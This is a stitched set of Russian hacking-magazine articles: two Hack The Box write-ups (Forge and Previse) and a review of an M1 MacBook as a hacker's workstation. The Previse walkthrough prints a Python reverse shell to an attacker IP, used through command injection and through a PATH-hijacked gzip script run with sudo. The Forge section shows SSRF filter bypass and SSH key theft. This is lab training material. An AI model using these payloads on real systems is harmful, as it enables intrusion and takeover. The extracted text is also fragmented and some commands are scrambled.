ÒÎ×ÊÀ ÂÕÎÄÀ

Так как боль ше ничего инте рес ного не наш ли, нуж но пытать ся про бить SSRF.
Поэто му поп робу ем раз ные спо собы ука зания локаль ного хос та и перебе рем
с помощью . Перех ватыва ем зап рос в  и перенап- 

равля ем в Intruder. На вклад ке Payload Positions выбира ем адрес 127.0.0.1.

Burp Intruder Burp Proxy

Burp Intruder — вклад ка Positions

На вклад ке Options зададим пра вило извле чения из отве та дан ных. Для это го
выбира ем нуж ную стро ку (в дан ном слу чае — сооб щение о бло киров ке)
и отме чаем галоч ку Extract from regex group. Это поможет авто мати чес ки соб- 
рать регуляр ное выраже ние для инте ресу ющей нас стро ки.

Нас трой ка Extract Grep

Ко личес тво потоков мож но выс тавить на свой выбор, я исполь зовал 256.
Спис ки спо собов для ука зания локаль ного хос та есть на GitHub и лег ко гуг- 
лятся. Ког да все готово, запус каем ата ку. Резуль тат получа ем уже через нес- 
коль ко секунд.

Ре зуль таты ска ниро вания Burp Intruder

В допол нитель ной колон ке, куда попали сооб щения от сер вера, находим сре- 
ди про чего отче ты об успешной заг рузке. Исполь зуя средс тво прос мотра
отве та Render, мож но пос мотреть эту стра ницу, не выходя из Burp.

От вет сер вера в Response Render

Ви дим, что в слу чае успешной заг рузки «фай ла» нам дают на него ссыл ку.
Перей дя по этой ссыл ке, най дем там стар товую стра ницу галереи. Таким
обра зом, при сутс тву ет уяз вимость SSRF!

От вет сер вера при обра щении к заг ружен ному фай лу

Те перь выяс ним, по каким про токо лам мы можем работать через такой рет- 
ран сля тор. Для это го отправ ляем наш «успешный» зап рос в Burp Intruder и на
вклад ке Payload Positions выбира ем дей ству ющий про токол.

Burp Intruder — вклад ка Positions

В спи сок заносим самые веро ятные про токо лы и запус каем перебор.

Ре зуль тат ска ниро вания Burp Intruder

В ито ге сер вер под держи вает все го два про токо ла: HTTP (работа ет) и HTTPS
(выда ет ошиб ку, так как на сер вере зак рыт порт 443). Осталь ные про токо лы
были отфиль тро ваны. Мы получа ем все боль ше информа ции, но пока ничего
сущес твен ного. Сто ит пом нить про адми нис тра тив ный сер вис, обра щение
к которо му дол жно про исхо дить через домен ное имя. Поп робу ем обра тить ся
к основно му домену и любому его под домену, даже несущес тву юще му.

Тес тирова ние домен ного име ни forge.htb

Тес тирова ние домен ного име ни 1232erwe.forge.htb

В обо их слу чаях получа ем сооб щение про чер ный спи сок. Ско рее все го, сто- 
ит про вер ка вхож дения пос ледова тель нос ти . Поп робу ем обма нуть

пред полага емую полити ку и изме нить регистр сим волов — .

forge.htb
fOrge.htb

Тес тирова ние домен ного име ни fOrge.htb

И получа ем ссыл ку на стра ницу. Этим спо собом получим ссыл ку и на копию
адми нис тра тив ного сер виса.

Тес тирова ние домен ного име ни admin.fOrge.htb

ÒÎ×ÊÀ ÎÏÎÐÛ

Зап рашива ем сох ранен ную стра ницу и получа ем дру гую ссыл ку.

По лучен ный код адми нис тра тив ной стра ницы

Пов торя ем всю про цеду ру заново, но теперь в качес тве конеч ной точ ки ука- 
зыва ем толь ко получен ную ссыл ку. Это поз волит нам рас крыть еще боль ше
информа ции о сер висах.

Код стра ницы admin.fOrge.htb/announcements

Мы получа ем учет ные дан ные для вхо да по FTP. Так же узна ем о стра нице 
 которая при нима ет параметр , где нуж но передать URL. А сре ди

под держи ваемых про токо лов при сутс тву ют FTP и SFTP. Давай обра тим ся
к этой стра нице и переда дим в качес тве URL адрес локаль ного FTP-сер вера:

,/upload u

admin.fOrge.htb/upload?u=ftp://user:heightofsecurity123!@127.1.1.1

Зап рос дан ных по FTP через SSRF

Со дер жимое FTP-сер вера

Это похоже на поль зователь скую дирек торию. Поп робу ем получить содер- 
жимое скры того катало га ..ssh

Со дер жимое катало га .ssh

По луча ем при ват ный ключ и под клю чаем ся по SSH.

При ват ный ключ поль зовате ля

Флаг поль зовате ля

Так мы зах ватыва ем поль зовате ля и получа ем ста биль ный дос туп.

ËÎÊÀËÜÍÎÅ ÏÎÂÛØÅÍÈÅ ÏÐÈÂÈËÅÃÈÉ

Од на из пер вых вещей, которые нуж но про верять в Linux, ког да ищешь спо- 
собы под нять при виле гии, — это файл sudoers. Смот рим его.

Справка: sudoers
Файл  в Linux содер жит спис ки команд, которые раз ные груп пы

поль зовате лей могут выпол нять от име ни адми нис тра тора сис темы. Мож но
прос мотреть его как нап рямую, так и при помощи коман ды .

/etc/sudoers

sudo -l

Нас трой ки судо ера

В нас трой ках sudoers про писан при виле гиро ван ный запуск поль зователь ско- 
го скрип та  без вво да пароля (NOPASSWD). Прос- 

мотрим содер жимое фай ла.

/opt/remote-manage.py

Этот скрипт откры вает ука зан ный порт (стро ка 12), зап рашива ет сек- 
ретный пароль и про веря ет его (стро ки 16–20). Затем скрипт зап рашива ет
у под клю чен ного поль зовате ля циф ру от 1 до 4 для выпол нения соот ветс тву- 
юще го дей ствия (стро ки 22–36). Но если во вре мя выпол нения кода про изой- 
дет ошиб ка, то обра бот чик исклю чения передаст управле ние pdb — отладчи- 
ку Python (стро ки 37–39).

Со дер жимое фай ла /opt/remote-manage.py

Та ким обра зом, если мы смо жем выз вать ошиб ку в при ложе нии, то смо жем
получить кон соль отладчи ка. Это поз волит выпол нять свой код в при виле- 
гиро ван ном режиме.

Выз вать ошиб ку в при ложе нии мож но в стро ке 27, где вве ден ная стро ка
пре обру ется к целочис ленно му зна чению. Запус тим при ложе ние, под клю чим- 
ся к нему со вто рого тер минала с помощью netcat.

За пуск при ложе ния

Под клю чение к откры тому пор ту

Те перь вво дим любую стро ку, при этом в тер минале самого при ложе ния
отоб разит ся ошиб ка и появит ся кон соль pdb.

Вы зов исклю чения при веде ния типа

Те перь импорти руем модуль PTY и получа ем коман дную обо лоч ку в высокоп- 
ривиле гиро ван ном режиме.

Флаг рута

Мы зах ватили оче ред ную машину и име ем пол ный кон троль над ней!

mailto:hackerralf8@gmail.com
https://www.hackthebox.eu/
https://github.com/maurosoria/dirsearch
https://kali.tools/?p=108
https://github.com/ffuf/ffuf
https://github.com/danielmiessler/SecLists
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РАСКРУЧИВАЕМ КРИВОЙ РЕДИРЕКТ
ДО ПОЛНОГО ЗАХВАТА САЙТА

RalfHacker
hackerralf8@gmail.com

ВЗЛОМ

Се год ня на при мере лег кой машины с пло- 
щад ки  я покажу впол не типич- 
ный про цесс зах вата веб-сер вера. Нач нем
с неп равиль но нас тро енно го редирек та,
получим дос туп к зак рытым стра ницам,
а точ ку опо ры най дем через фор му получе- 
ния логов. Зах ватить флаг рута нам
поможет ошиб ка в скрип те поль зовате ля.

Hack The Box

WARNING

Под клю чать ся к машинам с HTB рекомен дует ся
толь ко через VPN. Не делай это го с компь юте ров,
где есть важ ные для тебя дан ные, так как ты ока- 
жешь ся в общей сети с дру гими учас тни ками.

ÐÀÇÂÅÄÊÀ

До бав ляем IP-адрес машины в :/etc/hosts

10.10.11.104    writer.htb 

И запус каем ска ниро вание пор тов.

Справка: сканирование портов
Ска ниро вание пор тов — стан дар тный пер вый шаг при любой ата ке. Он поз- 
воля ет ата кующе му узнать, какие служ бы на хос те при нима ют соеди нение.
На осно ве этой информа ции выбира ется сле дующий шаг к получе нию точ ки
вхо да.

На ибо лее извес тный инс тру мент для ска ниро вания — это Nmap. Улуч шить
резуль таты его работы ты можешь при помощи сле дующе го скрип та.

#!/bin/bash
nmap  500  |     1 | 

   | s/, /
ports=$( -p- --min-rate= $1 grep ^[0-9] | cut -d '/' -f
tr '\n' ',' sed $/ )
nmap   -p$ports -A $1

Он дей ству ет в два эта па. На пер вом про изво дит ся обыч ное быс трое ска- 
ниро вание, на вто ром — более тща тель ное ска ниро вание, с исполь зовани ем
име ющих ся скрип тов (опция ).-A

Ре зуль тат работы скрип та

На ходим два откры тых пор та: 22 (служ ба OpenSSH 7.6p1) и 80 (веб-сер вер
Apache 2.4.29). SSH пока про пус тим.

Справка: брутфорс учеток
Пос коль ку в начале про хож дения у нас нет учет ных дан ных, нет и смыс ла изу- 
чать служ бы, которые всег да тре буют авто риза ции (нап ример, SSH). Единс- 
твен ное, что мы можем делать здесь, — это переби рать пароли брут форсом,
но у машин с HTB поч ти всег да есть дру гое про хож дение. В жиз ни таких вари- 
антов может не быть, к тому же есть шан сы подоб рать пароль или получить
его при помощи соци аль ной инже нерии.

Ос тает ся «про бивать» веб. Вни матель но изу чим сайт в поис ках любой важ ной
информа ции. При заг рузке сай та  нас переб расыва ют

на стра ницу . Там нас встре чает фор ма авто риза ции.

http://previse.htb
login.php

Фор ма авто риза ции

Не заме нимое средс тво при ана лизе веб-сай тов — набор прог рамм 

. Нап ример, вхо дящий в него  при ана лизе сай та ведет свою

исто рию зап росов и отве тов. Там мы можем най ти наш редирект. Но что
более уди витель но, редирект выпол нен неп равиль но, так как стра ница сна- 
чала заг ружа ется, а потом про исхо дит перенап равле ние. Уви деть глав ную
стра ницу мож но во встро енном бра узе ре Burp. Для это го акти виру ем
Response → Render.

Burp

Pro Burp Proxy

Глав ная стра ница сай та в Burp Render

Та ким обра зом мы можем прос мотреть весь сайт.

ÒÎ×ÊÀ ÂÕÎÄÀ

Мы можем прос матри вать фай лы сай та, но пока что спо собов прод винуть ся
даль ше не вид но. Поп робу ем получить боль ше информа ции о содер жимом
катало гов при помощи перебо ра.

Справка: сканирование веба c ffuf
Од но из пер вых дей ствий при тес тирова нии безопас ности веб-при ложе- 
ния — это ска ниро вание методом перебо ра катало гов с целью поис ка скры- 
той информа ции и недос тупных обыч ным посети телям фун кций. Для это го
мож но исполь зовать прог раммы вро де  и .dirsearch DIRB

Я пред почитаю лег кий и очень быс трый . При запус ке исполь зуем сле- 

дующие парамет ры:

ffuf

 — сло варь (исполь зуем directory-list-2.3-medium из набора );• -w SecLists
 — количес тво потоков;• -t
 — URL;• -u

 — исклю чить из резуль тата отве ты с кодом 403.• -fc

Спи сок популяр ных фай лов на PHP мож но най ти в наборе сло варей .
Запус каем перебор:

SecLists

 200  
403 
ffuf  -u http://previse.htb/FUZZ -w php_files_common.txt -t -fc

Ре зуль тат ска ниро вания фай лов

В выводе получа ем мно го фай лов, и некото рые выпол няют редирект. А вот
неиз вес тный до это го файл  воз вра щает код отве та 200. Взгля нем
на него через бра узер и обна ружим обыч ную навига цию по сай ту.

nav.php

Стра ница nav.php

Те перь обой дем все стра ницы через Burp Proxy и прос мотрим отве ты сер- 
вера. Что бы удоб но сде лать это через бра узер, будем перех ватывать ответ
от сер вера и менять код отве та с 302 (перенап равле ние) на 200 (успешный
ответ). Пер вым делом перех ватыва ем зап рос.

Пе рех ват зап роса в Burp Proxy

Те перь акти виру ем перех ват отве та. Для это го в кон текс тном меню выбира ем
Do intercept → Response to this request. Пос ле это го отправ ляем зап рос, нажав
на кноп ку Forward. И сра зу в этом же окне получим ответ.

Пе рех ват отве та в Burp Proxy

Из меня ем  на .302 Found 200 OK

Из менение отве та в Burp Proxy

От прав ляем ответ, сно ва нажав на кноп ку Forward. В бра узе ре получа ем нуж- 
ную нам стра ницу.

Стра ница accounts.php

По доб ным обра зом взгля нем и на осталь ные стра ницы.

Стра ница les.php

Стра ница le_logs.php

Мы наш ли инте рес ную воз можность, но нам она пока недос тупна. Зато мы
можем работать со стра ницей соз дания поль зовате ля, чем и вос поль зуем ся.

Со обще ние об успешном соз дании поль зовате ля

Шап ка сай та

Пе рей дем к стра нице  и ска чаем бэкап сай та.files.php

Со дер жимое ска чан ного архи ва

В архи ве мно го фай лов, о некото рых мы даже и не зна ли. Перехо дим к эта пу
изу чения исходно го кода.

ÒÎ×ÊÀ ÎÏÎÐÛ

Сре ди фай лов внут ри архи ва обна ружим . Этот файл обыч но
исполь зует ся для ука зания нас тро ек под клю чения к базе дан ных.

connect.php

Со дер жимое фай ла connect.php

Но дан ный пароль никуда не подошел. Поэто му запоми наем на будущее
и про дол жаем ана лиз. В фай ле  видим, куда отправ ляет ся
зап рос — файл .

file_logs.php
logs.php

Код фор мы зап роса логов

А в фай ле  находим мес то, где про исхо дит обра бот ка при нима емых

дан ных.

logs.php

Со дер жимое фай ла logs.php

Ни какая филь тра ция не исполь зует ся, при этом зна чение парамет ра прос то
переда ется в коман ду кон соли. Она будет выпол нена в фун кции . Так мы

можем завер шить одну коман ду точ кой с запятой и затем выпол нить дру гую.

exec

От кро ем лис тенер коман дой  и переда дим сле- 

дующую наг рузку, которая даст нам реверс-шелл. Пос ле встав ки наг рузки
выделя ем ее и нажима ем Ctrl-U в Burp. Это лег кий спо соб закоди ровать
переда ваемый параметр в кодиров ке URL.

rlwrap nc -lvp 80

 python -c 'import socket,subprocess;s=socket.socket(socket.AF_INET,
socket.SOCK_STREAM);s.connect(("10.10.14.134",80
));subprocess.call(["/bin/sh","-i"],stdin=s.fileno(),stdout=s.
fileno(),stderr=s.fileno())'

Ис ходный зап рос

Из менен ный зап рос

По лучен ный бэк коннект

В ито ге в окне лис тенера получим уда лен ную коман дную обо лоч ку.

ÏÐÎÄÂÈÆÅÍÈÅ

Так как на хос те раз вернут веб-сер вер, а на нем работа ет даже целое
веб-при ложе ние, то пер вое наше дей ствие — поп робовать получить
какие-либо учет ные дан ные поль зовате лей. Высока веро ятность, что эти учет- 
ные дан ные подой дут и для локаль ных поль зовате лей тоже. Обыч но такие
кри тичес кие дан ные хра нят ся либо в кон фигах, либо в базе дан ных.

Так у нас уже есть необ ходимые парамет ры для под клю чения к базе дан- 
ных, давай пос мотрим, что она содер жит. Пер вым делом запус тим TTY-обо- 
лоч ку, что бы нор маль но вза имо дей ство вать с потока ми вво да/вывода.

 python3 -c 'import pty; pty.spawn("/bin/bash")'

А теперь под клю чим ся к MySQL и зап росим спи сок баз дан ных.

mysql -u root -D previse -p
show databases;

Спи сок баз дан ных

Из пред став ленных баз по наз ванию опре деля ем поль зователь скую. Выбира- 
ем ее и получа ем спи сок таб лиц.

use previse;
show tables;

Спи сок таб лиц в базе previse

Таб лица  может содер жать учет ные дан ные для сай та. Получим все

записи из таб лицы.

accounts

   select * from accounts;

Со дер жимое таб лицы accounts

Вот мы и наш ли учет ные дан ные поль зовате лей. Сна чала меня сму тил вид
хешей, но hashcat все рав но их переб рал. Сна чала опре делим нуж ный режим
( ) перебо ра по типу хеша, а потом выпол ним перебор по сло варю.mode

 |    hashcat --example grep '\$1\$' -A2 -B2

Оп ределе ние режима hashcat

 0 hashcat -a -m 500 hashes ../tools/rockyou.txt 

На хож дение про обра за хеша

С най ден ным паролем под клю чаем ся по SSH и забира ем пер вый флаг.

Флаг поль зовате ля

ËÎÊÀËÜÍÎÅ ÏÎÂÛØÅÍÈÅ ÏÐÈÂÈËÅÃÈÉ

Те перь вряд ли получит ся прос то где-то най ти учет ные дан ные. Поэто му нуж- 
но исполь зовать какой-то спо соб повыше ния при виле гий. Для поис ка это го
спо соба мож но, конеч но, запус тить спе циаль ные скрип ты вро де ,
но мож но сра зу про верить наибо лее веро ятные мес та: нас трой ки sudoers,
при ложе ния с выс тавлен ным битом SUID, прос лушива емые на localhost пор ты
и так далее.

LinPEAS

Пи шем , что бы про верить sudoers.sudo -l

Нас трой ки судо ера

Справка: sudoers
Файл  в Linux содер жит спис ки команд, которые раз ные груп пы
поль зовате лей могут выпол нять от име ни адми нис тра тора сис темы. Мож но
прос мотреть его как нап рямую, так и при помощи коман ды .

/etc/sudoers

sudo -l

Мы можем выпол нить скрипт  от име ни
поль зовате ля root. Прос мотрим содер жимое фай ла.

/opt/scripts/access_backup.sh

Со дер жимое фай ла access_backup.sh

Да же не сто ит раз бирать ся в том, что дела ет этот скрипт, так как уяз вимость
вид на сра зу. Путь к исполня емо му фай лу  ука зан не абсо лют ный (пол- 

ный), поэто му опе раци онная сис тема будет искать этот файл во всех катало- 
гах, ука зан ных в перемен ной окру жения . Мы можем соз дать свой скрипт
с наз вани ем  и внес ти его каталог пер вым в перемен ную .

gzip

PATH
gzip PATH

В скрип те запишем уже исполь зован ный ранее реверс-шелл.

#!/bin/bash
 python3 -c 'import socket,subprocess;s=socket.socket(socket.AF_INET,

socket.SOCK_STREAM);s.connect(("10.10.14.134",8080));subprocess.
call(["/bin/sh","-i"],stdin=s.fileno(),stdout=s.fileno(),stderr=s.
fileno())'

Файл с реверс-шел лом

За тем вно сим каталог  в перемен ную ./tmp PATH

/tmp:export PATH= $PATH

Про вер ка зна чения перемен ной PATH

От кры ваем лис тенер (коман да ) и запус каем через

sudo скрипт . Таким обра зом запущен ный
из скрип та в высокоп ривиле гиро ван ном кон тек сте  даст нам

реверс-шелл.

rlwrap nc -lvp 8080
/opt/scripts/access_backup.sh

gzip

Флаг рута

Ма шина зах вачена, мы име ем над ней пол ный кон троль!

mailto:hackerralf8@gmail.com
https://www.hackthebox.eu/
https://github.com/maurosoria/dirsearch
https://kali.tools/?p=108
https://github.com/ffuf/ffuf
https://github.com/danielmiessler/SecLists
https://github.com/danielmiessler/SecLists/blob/master/Discovery/Web-Content/Common-PHP-Filenames.txt
https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS
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ТРЮКИ

В 2020 году Apple  новую архи тек туру Apple
Silicon на базе ARM и объ яви ла, что в течение двух лет
переве дет на нее все свои компь юте ры. Для прос тых поль- 
зовате лей миг рация про ходит прак тичес ки незамет но, а как
нас чет прод винутых? В этой статье я рас ска жу об ито гах
года исполь зования MacBook Pro с M1 внут ри и покажу те
нем ногие под водные кам ни, с которы ми мне довелось стол- 
кнуть ся.

пред ста вила

ÂÍÅØÍÈÉ ÌÎÍÈÒÎÐ

Мак буки из пер вого поколе ния компь юте ров на M1 под держи вали все го один
внеш ний монитор (к Mac mini мож но под клю чить два). С выходом новых
MacBook Pro на M1 Pro и M1 Max ситу ация изме нилась: у них есть порт HDMI,
который мож но исполь зовать для вто рого экра на.

Ес ли же менять ноут бук ты пока не хочешь, а для работы нуж но нес коль ко
монито ров, то решени ем может стать док-стан ция с под дер жкой
DisplayLink — нап ример, Dell D6000 или CalDigit. Одна ко я прос то отка зал ся
от исполь зования трех монито ров и купил один, но UltraWide. Да, это не Retina
Display, но если тебе нуж но раз решение 5K, то выбор невелик — толь ко LG
UltraFine, сто ящие 90 с чем-то тысяч руб лей.

Не дав но товарищ посове товал мне велико леп ную ути литу, которая поз- 
воля ет в разы улуч шить работу с моим монито ром.  соз дает

фик тивный дис плей, который под держи вает огромный набор раз решений
Retina, а затем переда ет кар тинку с него на твой. Если твой монитор пло хо
под держи вает ся в macOS, то эта прог рамма может кар диналь но изме нить
ситу ацию.

BetterDummy

Нап ример, для дис плея с раз решени ем 3440 × 1440 я рекомен дую
исполь зовать сле дующие нас трой ки.

Единс твен ная проб лема, с которой я стол кнул ся при исполь зовании
BetterDummy, — невоз можно выс тавить высокую час тоту обновле ния
(144 Гц). Ока залось, что это огра ниче ние API CGVirtualDisplay в macOS,
и испра вить эту проб лему может толь ко Apple. Воз можно, все изме нит ся, ког- 
да появит ся под дер жка ProMotion для AirPlay или Sidecar.

Ес ли ты хочешь иметь высокую час тоту обновле ния экра на (144 Гц и выше)
с раз решени ем 3440 на 1440 точек и более, то при дет ся отка зать ся
от BetterDummy и купить отдель ный кабель USB Type-C → DisplayPort. Через
уни вер саль ные хабы (у меня Native Union) работать с такими нас трой ками
не вый дет — не хва тит про пус кной спо соб ности пор та для одновре мен ного
вывода изоб ражения и под клю чения перифе рии.

HOMEBREW È ZSH

Homebrew — популяр ный сто рон ний пакет ный менед жер для macOS. Если
тебе нуж на какая-то кон соль ная ути лита, то, ско рее все го, ты най дешь ее
в Homebrew. С вер сии 3.0 Homebrew под держи вает ARM. До это го рабочим
решени ем была уста нов ка Homebrew через слой бинар ной тран сля ции
Rosetta 2. Соот ветс твен но, все при ложе ния, уста нов ленные отту да, тоже про- 
ходи ли тран сля цию и работа ли (но не так быс тро, как мог ли бы армов ские
бинар ники).

Сей час дос таточ но пос тавить Homebrew через скрипт-уста нов щик
и получать натив ные пакеты для ARM.

$ xcode-select --install
 curl $ /bin/bash -c "$( -fsSL https://raw.githubusercontent.com/

Homebrew/install/HEAD/install.sh)"
  $ echo 'eval "$(/opt/homebrew/bin/brew shellenv)"' >> /Users/$(

logname)/.zprofile 
 $ eval "$(/opt/homebrew/bin/brew shellenv)"

Но если понадо бит ся перек лючать ся меж ду архи тек турами, то можешь сде- 
лать себе такие али асы в фай ле  или :~/.bashrc ~/.zshrc

alias intel="env /usr/bin/arch -x86_64 /bin/zsh --login"
alias arm="env /usr/bin/arch -arm64 /bin/zsh --login"

Чуть поз же мы стол кнем ся с прак тичес ким при мене нием такого решения,
но если вкрат це, то скрипт кон фигура ции ( ) перед сбор кой опре- 

деля ет перемен ные сис темы, в том чис ле и для какой архи тек туры ком- 
пилиро вать про ект. Нап ример, если сей час выб рать режим i386 при уста нов- 
ке Homebrew, то вмес то бинар ников для ARM64 мы получим вер сии
для x86_64, что при ведет к потере про изво дитель нос ти.

./configure

ÂÈÐÒÓÀËÜÍÛÅ ÌÀØÈÍÛ

Parallels Desktop

Про дукт Parallels — это в дан ный момент самое фун кци ональ ное решение
для вир туали зации на M1. Недаром его показы вали на пре зен тации Apple.
Через Parallels Desktop мож но в один клик уста новить дис три бути вы Ubuntu,
Fedora, Debian и macOS Monterey. С вер сии 17.1.1 добав лена под дер жка
акту аль ной на дан ной момент вер сии Kali Linux — 2021.3.

Драй веры гос тевых машин опти мизи рова ны и работа ют без нарека ний
(буфер обме на, сеть, динами чес кое раз решение, 3D-уско рение и про чие
фичи). Проб рос адап тера Wi-Fi или любого дру гого устрой ства работа ет кор- 
рек тно.

От дель но хочет ся погово рить о Windows 11 для ARM, которая уме ет тран- 
сли ровать код при ложе ний x86_64 в натив ные вызовы ARM. При чем дела ет
это весь ма качес твен но, как и Rosetta 2. При помощи такой мат решки мне
уда лось запус тить отладчик для кода x64 и без проб лем уви деть регис тры
RBX, RSP, RBP и так далее.

Так же работа ет и Visual Studio, которая смог ла ском пилиро вать неболь- 
шой тес товый про ект (Quasar RAT) в клас сичес кую архи тек туру i386. И это все
на вир туаль ной машине с гос тевой Windows, для которой хос том выс тупа ет
macOS для ARM. Фан тасти ка!

Не могу не отме тить энер гоэф фектив ность при работе с вир туаль ными
машина ми. Запущен ные фоном VM без серь езной наг рузки прак тичес ки
не вли яют на вре мя работы от акку муля тора. Помимо это го, в новых вер сиях
Parallels был добав лен режим поез дки, в котором еще силь нее сни жает ся
энер гопот ребле ние при без дей ствии VM.

VMware

Еще один про изво дитель популяр ных решений для вир туали зации до недав- 
него вре мени был за бор том зате янно го Apple перево рота, но в кон це сен- 
тября 2021 года ком пания VMware пред ста вила на все общее обоз рение тех- 
ничес кое превью VMware Fusion.

Сей час VMware Fusion мож но бес плат но заг рузить на 
или же по . Минималь ный набор удобств при сутс тву ет, одна ко
в Ubuntu мне не уда лось нас тро ить VMware Tools. Я уста новил откры тую вер- 
сию — open-vm-tools, но и это не помог ло мне сде лать адап тивное раз- 
решение экра на и общий с хос товой сис темой буфер обме на.

стра нице про дук та
пря мой ссыл ке

В общем, решение сырова тое, но впол не работос пособ ное и пока что
бес плат ное.

QEMU

QEMU — это глы ба не толь ко сре ди про дук тов эму ляции, но и сре ди средств
аппа рат ной вир туали зации. Это осно ва гипер визора KVM, который исполь- 
зует аппа рат ные воз можнос ти сов ремен ных про цес соров. Базовая под дер- 
жка Apple Silicon уже есть в QEMU, и ее активно дораба тыва ют. Так что его
в ряде слу чаев мож но исполь зовать как мощ ное средс тво вир туали зации
на M1.

Óñòàíîâêà QEMU

Для начала под готовим необ ходимые пакеты для сбор ки:

brew $ install libffi gettext glib pkg-config autoconf automake 
pixman ninja 

Кло ниру ем репози торий QEMU, добав ляем вет ку со вклю чен ным рас ширени- 
ем BFloat16 и при меня ем патч Алек сан дра Гра фа:

 qemu $ git clone https://github.com/qemu/qemu && cd 
$ git checkout 3c93dfa42c394fdd55684f2fbf24cf2f39b97d47 
$ curl https://patchwork.kernel.org/series/485309/mbox/ | git am 

Со бира ем и уста нав лива ем QEMU:

 $ mkdir build && cd build 
$ ../configure --target-list=aarch64-softmmu 

make $ -j8
make $ sudo install

Го тово, мож но поль зовать ся!

Ñîçäàíèå âèðòóàëüíîé ìàøèíû ñ Ubuntu â QEMU

Да вай поп робу ем пос тавить Ubuntu для x86_64.
Пе ред уста нов кой нуж но под готовить диск:

$ curl https://cdimage.ubuntu.com/releases/20.04/release/ubuntu-20.
04.3-live-server-arm64.iso -o ubuntu-20.0.4.iso 
$ qemu-img create -f qcow2 virtual-disk.qcow2 8G 

  $ cp $(dirname $(which qemu-img))/../share/qemu/edk2-aarch64-code.fd 
.

1m 64 $ dd if=/dev/zero conv=sync bs= count= of=ovmf_vars.fd 

$ qemu-system-aarch64 \
 off -machine virt,accel=hvf,highmem= \
  4  4G -cpu cortex-a72 -smp -m \
 -device virtio-gpu-pci \
 -device virtio-keyboard-pci \
   -drive "format=raw,file=edk2-aarch64-code.fd,if=pflash,readonly=on"
\
   -drive "format=raw,file=ovmf_vars.fd,if=pflash" \
   -drive "format=qcow2,file=virtual-disk.qcow2" \
 -cdrom ubuntu-20.0.4.iso 

Пос ле этой коман ды дол жна запус тить ся уста нов ка Ubuntu. По завер шении
запус каем вир туаль ную машину:

$ qemu-system-aarch64 \
 off -machine virt,accel=hvf,highmem= \
  4  4G -cpu cortex-a72 -smp -m \
 -device virtio-gpu-pci \
 -device virtio-keyboard-pci \
   -drive "format=raw,file=edk2-aarch64-code.fd,if=pflash,readonly=on"
\
   -drive "format=raw,file=ovmf_vars.fd,if=pflash" \
   -drive "format=qcow2,file=virtual-disk.qcow2" \
  -nic hostfwd=tcp:127.0.0.1:4422-0.0.0.0:22 & 

Для кон некта по SSH:

$ ssh <username>@127.0.0.1 -p 4422 

Для Windows все ана логич но, отли чия в обо рудо вании, фор мате обра за дис- 
ка и еще вся кое по мелочи. Единс твен ный минус пря мой работы с QEMU —
все при дет ся делать руками. С дру гой сто роны, это добав ляет гиб кости.
Одна ко мож но и избе жать лиш него тру да, если исполь зовать ути литу .UTM

WWW

•How to run Windows 10 on ARM or Ubuntu for
ARM64 in QEMU on Apple Silicon Mac

•3D accelerated qemu on MacOS
•Running Linux and Windows on M1 with QEMU
•Apple Silicon M1 QEMU

UTM

QEMU — мощ ная шту ка и в уме лых руках может тво рить чудеса. Одна ко
не всег да удоб но раз бирать ся в пяти этаж ных аргу мен тах кон фигура ции, осо- 
бен но если нуж но что-то быс тро изме нить или добавить.

 — это гра фичес кая обо лоч ка, которая зна читель но упро щает работу

с QEMU в macOS. У про екта есть  и .
Отдель но сто ит отме тить галерею  для быс трой рас катки.
Сре ди ожи даемых сис тем мож но най ти ReactOS (x86), Sun Solaris (SPARC),
Mac OS 9.2.1 (PPC) и ста руш ку Windows XP (x64). Конеч но, эти ребята в эму- 
ляции будут работать не так быс тро, как гос тевые сис темы с под дер жкой
ARM, зато как зре лищ но!

UTM

офи циаль ный сайт ре пози торий на GitHub
го товых обра зов

Я прак тичес ки не исполь зую это решение, пос коль ку работать с соф том
в гос тевой ОС все же неудоб но, да и ста биль ность не бле щет. Но быва ют
слу чаи, ког да эта шту ка может выручить.

Су щес тву ет, кста ти, и , но уста новить ее мож но толь ко
через сай дло адинг.

вер сия UTM для iOS

VirtualBox (ñïîéëåð: åãî íåò)

Увы, раз работ чики это го популяр ного опен сор сно го решения для вир туали- 
зации пока что не доб рались до M1. А это зна чит, что нель зя запус тить и вир- 
туал ки с Android вро де Genymotion, NoxPlayer и BlueStacks. Так что пока при- 
ходит ся доволь ство вать ся Android Developer Studio.

Metasploitable3

Ког да я попытал ся исполь зовать эту вир туаль ную машину для тес тирова ния
экс пло итов, то стол кнул ся с проб лемой. Запус тить ее получи лось лишь
в QEMU, но работать с ком фортом это не поз воля ет — про изво дитель ность
выходит слиш ком низ кая.

К тому же в macOS Big Sur и Monterey QEMU не может исполь зовать проб- 
рос пор тов через NAT из-за отсутс твия TAP-устрой ств (вир туаль ные сетевые
драй веры ядра сис темы для эму ляции Ethernet). Единс твен ная воз- 
можность — пере адре сация локаль ного пор та на вир туаль ную машину, как 

 с уста нов кой Ubuntu Server выше и SSH-дос тупом к ней.в примере

Продолжение статьи →
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https://developer.apple.com/videos/play/wwdc2020/10686/
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https://vmware.com/go/get-fusion-m1
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M1 ДЛЯ ХАКЕРА
ТЕСТИРУЕМ HOMEBREW, ВИРТУАЛКИ, DOCKER

И NODE НА НОВОЙ АРХИТЕКТУРЕ APPLE

ТРЮКИ  НАЧАЛО СТАТЬИ←

DOCKER È NODE.JS

Сей час с Docker слож ностей прак тичес ки нет. При ложе ние дав но натив ное,
уста нов ка — .стан дар тная

Единс твен ный нюанс, о котором хочет ся рас ска зать, — это отсутс твие
в Docker Hub вер сий некото рых обра зов для ARM. А еще быва ет, что образ
есть, но в нем несов мести мые биб лиоте ки, которые нуж но переком пилиро- 
вать. Если в пер вом слу чае все оче вид но, то о вто рой проб леме я бы хотел
погово рить под робнее.

Нап ример, в сво ем про екте я стол кнул ся с тем, что невоз можно соб рать
модуль sharp@0.28.3 для Node.js в базовом обра зе Node из Docker Hub.

INFO

Sharp — это высокос корос тной модуль Node.js
для пре обра зова ния боль ших изоб ражений рас- 
простра нен ных фор матов (JPEG, PNG, AVIF
и WebP) в более мел кие.

В этом популяр ном обра зе были проб лемы с зависи мос тями. Как ,
стол кнул ся с ними не я один.

ока залось

Суть проб лемы в том, что в обра зе Docker для сбор ки зависи мос тей
пакета sharp необ ходима биб лиоте ка libvips вер сии 8.10.6 или стар ше,
которая идет с glibc 2.29+. В сво ем фай ле сбор ки я исполь зовал образ
node:16.3-buster-slim с glibc 2.24. Понадо билось вруч ную собирать под- 
ходящую вер сию libvips.

Мой Dockerle:

FROM node:16.3-buster-slim
WORKDIR /opt/app
ADD . .

npm RUN install
RUN npm run build api 
